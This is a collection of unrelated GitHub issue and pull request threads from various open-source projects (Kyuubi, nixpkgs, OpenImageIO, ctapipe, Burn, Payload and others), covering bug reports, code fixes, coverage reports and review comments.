94.11% <0%> (ø)
:white_check_mark:

... and 12 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5015480...8a3fee1. Read the comment docs.

LGTM

lgtm


Custom_deps - why remove existing dependencies?

I needed to install a module from Pypi on Hassio. After some searching I found the custom_deps addon.
I did what was needed, but it also deleted all my existing deps that were installed when I had added several Custom_Components. I think this is unwanted behavior as it breaks these installed components, so, a bug?

A custom component should specify its deps. If it does that correctly, Home Assistant will install those deps automatically.
If you need to manually install deps for a custom component, the custom component is not correctly written.
That being said, the add-on has been moved to the developer-hassio-addons repository, so it is still available, but moved.


feat: join field with polymorphic relationships

What?
The join field had a limitation imposed that prevents it from targeting polymorphic relationship fields. With this change we can support any relationship fields.
Why?
Improves the functionality of join field.
How?
Extended the database adapters and removed the config sanitization that would throw an error when polymorphic relationships were used.
Fixes #

There is something going on with rendering the edit view that is keeping the data from being sent. I'm not seeing a value in the join field props.

We've been looking forward to having "join field with polymorphic relationships". Thank you so much for all your hard work!


[KYUUBI #2594] Fix flaky Test - support engine alive probe to fast fail on engine broken

Why are the changes needed?

To close #2594
For the liveness probe, it mark the remote engine broken if the last alive time detection is timeout.
                if (now - engineLastAlive > engineAliveTimeout) {
                  error("Mark the engine not alive with no recent alive probe success:" +
                    s" ${now - engineLastAlive} ms exceeds timeout $engineAliveTimeout ms")
                  remoteEngineBroken = true
                }

But now the engineLastAlive variable is not volatile.
So we set the engineLastAlive as volatile variable in this pr to prevent flaky test.
And now we are using scheduleAtFixedRate, it will trigger the liveness detection in fixed rate and regardless whether the last one has completed.
For scheduleWithFixedDelay,
Creates and executes a periodic action that becomes enabled first after the given initial delay, and subsequently with the given delay between the termination of one execution and the commencement of the next. If any execution of the task encounters an exception, subsequent executions are suppressed. Otherwise, the task will only terminate via cancellation or termination of the executor.

For scheduleAtFixedRate,
Creates and executes a periodic action that becomes enabled first after the given initial delay, and subsequently with the given period; that is executions will commence after initialDelay then initialDelay+period, then initialDelay + 2 * period, and so on. If any execution of the task encounters an exception, subsequent executions are suppressed. Otherwise, the task will only terminate via cancellation or termination of the executor. If any execution of this task takes longer than its period, then subsequent executions may start late, but will not concurrently execute.

We should use scheduleWithFixedDelay, so that the liveness probe detections are in sequence.
How was this patch tested?

[ ] Add some test cases that check the changes thoroughly including negative and positive cases if possible

[ ] Add screenshots for manual tests if appropriate

[x] Run test locally before make a pull request

Codecov Report

Merging #2685 (0c96938) into master (c1fb7bf) will increase coverage by 0.02%.
The diff coverage is 100.00%.

@@             Coverage Diff              @@
##             master    #2685      +/-   ##
============================================
+ Coverage     64.28%   64.30%   +0.02%
  Complexity      275      275
============================================
  Files           408      407       -1
  Lines         19170    19012     -158
  Branches       2590     2550      -40
============================================
- Hits          12323    12226      -97
+ Misses         5696     5655      -41
+ Partials       1151     1131      -20

Impacted Files
Coverage Δ

.../apache/kyuubi/client/KyuubiSyncThriftClient.scala
88.58% <100.00%> (ø)

...ain/scala/org/apache/kyuubi/engine/EngineRef.scala
77.35% <0.00%> (-8.50%)
:arrow_down:

...rg/apache/kyuubi/engine/trino/TrinoStatement.scala
66.66% <0.00%> (-4.60%)
:arrow_down:

...ache/kyuubi/engine/spark/SparkProcessBuilder.scala
83.87% <0.00%> (-1.62%)
:arrow_down:

.../org/apache/kyuubi/operation/KyuubiOperation.scala
68.00% <0.00%> (-1.34%)
:arrow_down:

...n/scala/org/apache/kyuubi/engine/ProcBuilder.scala
84.27% <0.00%> (-0.63%)
:arrow_down:

...kyuubi/server/api/SwaggerScalaModelConverter.scala

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c1fb7bf...0c96938. Read the comment docs.

GA passed, re-run again.

cc @wForget

thanks for your review, merging to master


poptracker: add XDG desktop file and format with nixfmt-rfc-style

Description of changes
Adds a desktop item for poptracker, since it can be launched without any options, and it is useful for people who need to access it frequently. Also formats the package file with nixfmt-rfc-style since there were a few things that it was complaining about.

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Thanks!
Do you think adding the commit that reformat the file in this file would be possible too: https://github.com/NixOS/nixpkgs/blob/master/.git-blame-ignore-revs


Linking issue

Challenge http://www.freecodecamp.com/challenges/waypoint-mobile-responsive-images has an issue. Please describe how to reproduce it, and include links to screen shots if possible.
Hello
After I complete this challenge and I click "go to my next challenge" I am redirected here: http://www.freecodecamp.com/challenges/zipline-build-a-pomodoro-clock

Hello @dht0my
Are you still having this issue?

No. It is fixed now.

Ok, in the future please closes issue when they have resolved.


Make moe-kernels and marlin-kernels mandatory in CUDA installs

What does this PR do?
Before submitting

[ ] This PR fixes a typo or improves the docs (you can dismiss the other checks if that's the case).
[ ] Did you read the contributor guideline,
Pull Request section?
[ ] Was this discussed/approved via a Github issue or the forum? Please add a link
to it if that's the case.
[ ] Did you make sure to update the documentation with your changes? Here are the
documentation guidelines, and
here are tips on formatting docstrings.
[ ] Did you write any new necessary tests?

Who can review?
Anyone in the community is free to review the PR once the tests have passed. Feel free to tag
members/contributors who may be interested in your PR.

Merging (was already discussed on Slack).


[BUG] 0.0f is raw:Exposure invalid value. range 0.25f - 8.0f

Describe the bug
Invalid image file "D:/TEST/CameraRaws/_DSC2538.ARW": raw:Exposure invalid value. range 0.25f - 8.0f
config["raw:Exposure"] = 0.0f;

To Reproduce
ImageSpec config;
config["raw:Exposure"] = 0.0f;
ImageBuf input_buf(inputFileName, 0, 0, nullptr, &config, nullptr);
bool read_ok = outBuf.read(0, 0, 0, last_channel, true, o_format, progress_callback, progressBar);

Expected behavior
or something wrong in docs or in code. 0.0f in range but code give error.
Platform information:

OIIO branch/version: 2.4.1 (VCPKG
OS: Windows 10
C++ compiler: Visual Studio 2022

Looking at the libraw documentation here https://www.libraw.org/docs/API-datastruct-eng.html
It describes the underlying parameters that we are setting:
int exp_correc; float exp_shift,exp_preser;

Exposure correction before demosaic.

* exp_correc: positive value turns the feature on (default: off).
* exp_shift: exposure shift in linear scale. Usable range from 0.25 (2-stop darken) to 8.0 (3-stop lighter). Default: 1.0 (no exposure shift).
* exp_preser: preserve highlights when lighten the image. Usable range from 0.0 (no preservation) to 1.0 (full preservation). 0.0 is the default value.

Oh. I see. So 1.0 is 2^0EV.

I see now that the explanation in our documentation is incorrect, saying that 0 is "no change", when that actually should be 1.0. I will correct that with a PR.

Docs fix: https://github.com/OpenImageIO/oiio/pull/3889


Ignore netbeans-private properties in nested projects

Ignoring without ** is not enough for nested projects and ignore
paths includind several direcotries.
Pull Request
Thank you for contributing to @dvcs/gitignore and https://www.gitignore.io.
New or update
Select the appropriate check box for this pull request. This helps when merging to ensure there are no conflicts with other templates or misunderstandings of how thee template list works.
New

[ ] Template - New .gitignore template
[ ] Composition - Template made from smaller templates
[ ] Inheritance - Template similar to an existing template
[ ] Patch - Template extending functionality of existing template

Update

[x] Template - Update existing .gitignore template

Details
Ignoring without ** is not enough for nested projects and ignore
paths including several direcotries.

Have you tried submitting this to: https://github.com/github/gitignore/blob/master/Global/NetBeans.gitignore. If that repo is not responsive, we can add this in as a patch.

@joeblau ok, will try

@joeblau I don't know if it's relevant, it was merged in the github/gitignore repo


Book/guide

Here's a short introductory guide for the Burn book, written by @nathanielsimard and myself.
Any feedback / correction / addition will be mostly welcome 😄

Is it possible to get an access to a rendered version? Oh can you suggest how to generate locally?

BTW, the typos is failing.
Here is how you can check locally:
cargo install typos-cli
typos

Wow, did not know about typos-cli, thanks!
You can render the book similarly:
cargo install mdbook mdbook serve
Then it should be at http://localhost:3000/


Change Replicated upgrade policy to Online

The new upgrade policy will be Online instead of Replicated. Now we will have online upgrade modes. The old one will be picked in older version(<24.3.0) while the new one in version >= 24.3.0. Both modes are chosen by setting upgradePolicy to Online and the operator is smart enough to pick the right online upgrade based on the server version.
Hovewer, given that the new online upgrade is not robust enough, we are still going to allow users to do an old(read-only) online upgrade on recent server version. To pick the new online upgrade, they have to set a knob in the annotations vertica.com/is-new-online-upgrade. That annotation will eventually be removed.

Even when online-upgrade(replicated upgrade) is robust, I think we still need to support read-only online-upgrade because it's much faster (no sandbox needed) and cheaper (no extra pods needed). If this is the case, read-only online-upgrade will be another policy type.

Even when online-upgrade(replicated upgrade) is robust, I think we still need to support read-only online-upgrade because it's much faster (no sandbox needed) and cheaper (no extra pods needed). If this is the case, read-only online-upgrade will be another policy type.

That's probably better. We need to document that change.

Looks good overall. I only have some minor comments.


Content from content update

Added back links to service summary pages
Lots of minor content updates
Put the apply to framework section in a two-thirds grid

Going to look at fixing the tests here…

Tests fixed in 41004a2, rebased.

:+1:


TableLoader can not read subarray events including observation info

Describe the bug
Trying to load subarray events with TableLoader including the observation info, leads to following error:
ValueError                                Traceback (most recent call last)
Cell In[5], line 4
      1 from ctapipe.io import TableLoader
      3 loader = TableLoader("../build/gamma-diffuse_train_tel.dl2.h5", load_observation_info=True)
----> 4 events = loader.read_subarray_events()

File ~/ctapipe/ctapipe/io/tableloader.py:402, in TableLoader.read_subarray_events(self, start, stop, keep_order)
    399     table = self._join_observation_info(table)
    401 if keep_order:
--> 402     self._sort_to_original_order(table)
    403 return table

File ~/ctapipe/ctapipe/io/tableloader.py:319, in TableLoader._sort_to_original_order(table, include_tel_id)
    317     table.sort(("__index__", "tel_id"))
    318 else:
--> 319     table.sort("__index__")
    320 table.remove_column("__index__")

File /scratch/lbeiske/envs/cta/lib/python3.9/site-packages/astropy/table/table.py:3521, in Table.sort(self, keys, kind, reverse)
   3518 if isinstance(keys, str):
   3519     keys = [keys]
-> 3521 indexes = self.argsort(keys, kind=kind, reverse=reverse)
   3523 with self.index_mode("freeze"):
   3524     for name, col in self.columns.items():
   3525         # Make a new sorted column.  This requires that take() also copies
   3526         # relevant info attributes for mixin columns.

File /scratch/lbeiske/envs/cta/lib/python3.9/site-packages/astropy/table/table.py:3433, in Table.argsort(self, keys, kind, reverse)
   3431 # use index sorted order if possible
   3432 if keys is not None:
-> 3433     index = get_index(self, names=keys)
   3434     if index is not None:
   3435         idx = np.asarray(index.sorted_data())

File /scratch/lbeiske/envs/cta/lib/python3.9/site-packages/astropy/table/index.py:649, in get_index(table, table_copy, names)
    646     names = set(table_copy.colnames)
    648 if not names <= set(table.colnames):
--> 649     raise ValueError(f"{names} is not a subset of table columns")
    651 for name in names:
    652     for index in table[name].info.indices:

ValueError: {'__index__'} is not a subset of table columns

To Reproduce
from ctapipe.io import TableLoader

loader = TableLoader("path/to/file", load_observation_info=True)
events = loader.read_subarray_events()

Expected behavior
TableLoader should be able to load subarray events, while including the observation info.
Supporting information
Reading telescope events works fine.
TableLoader("path/to/file", load_observation_info=True).read_telescope_events()

This seems to work for me:
def _join_observation_info(self, table):
        obs_table = self.read_observation_information()
        # in v0.17, obs_id had inconsistent dtypes in different tables
        # Joining then gets messed up then because a join between int32 and uint64
        # casts the obs_id in the joint result to float.
        obs_table["obs_id"] = obs_table["obs_id"].astype(table["obs_id"].dtype)

        has_idx = "__index__" in table.colnames
        # to be able to sort to original table order
        self._add_index_if_needed(table)

        joint = join_allow_empty(
            table,
            obs_table,
            keys="obs_id",
            join_type="left",
        )

        # sort back to original order and remove index col
        self._sort_to_original_order(joint)
        del table["__index__"]

        if has_idx:
            # re-add original index col
            self._add_index_if_needed(joint)

        return joint

The original index which is present, if one calls TableLoader.read_subarray_events(), is re-added after the observation info is merged.
In case of TableLoader.read_telescope_events() no original index is present, and therefore this behaves as before.
But maybe there is a more elegant solution.


Load multiple images

Download:
Environment: QT=5.12, ARCH=32, CONFIGURATION=release, QTIFW=C:\Qt\Tools\QtInstallerFramework\3.1


Chore/issue responder improvements

I'm begining to use Responder to resolve model issues, but IssueAction doesn't support ModelIssues, so I've migrated to a generic relationship. Additionally, I want to be able to retry responding/resolving, so I've also added that support.

@wesokes we good?

@thinkt4nk looks good. i didn't realize that squash would do that to old migrations. i thought it would only combine new ones. i swear there used to be a django command that would update your latest migration file with any more changes, so you could continue to develop, make model changes, update your migration file, but i couldn't find that anywhere.

why did we squash migrations?


[Sozialpass] Switch PassId and Passnumber

As a user i don't need the passnumber anymore for the sozialticket but only the passId for the DE-Ticket so i only want to have this passID on the card to not be confused about different numbers/id.
Acceptance Criteria:

Remove passnumber from the create card form
The passId will be shown in the printed and digital card
The passId will be removed from the back of the printed card but shown on the front

Technical Tasks:

Remove passId extension for the sozialpass (!!!)
adjust the labels from passName to passId in the csv import and create card form
transfer the passId instead of the passNumber in the qrCode but keep passNumber for naming
adjust the pdf template to only show the passId
check the protobuf cardInfo is backward compatible (still uses passNumber)

Blocked:Should be deployed starting mid november

@f1sh1918 why is this blocked?

@f1sh1918 why is this blocked?

We need a final clearance when this should be deployed due to some  Regulation with the PassNumber which was needed to get certain social aid but will be obsolet starting next year


Custom CLI arguments.

I'm interested in this PR being merged. I just implemented a workaround for the argparse hijacking that Riposte does in one of my scripts.

I'm interested in this PR being merged. I just implemented a workaround for the argparse hijacking that Riposte does in one of my scripts.

FYI. I'm planning to do release by the end of this week.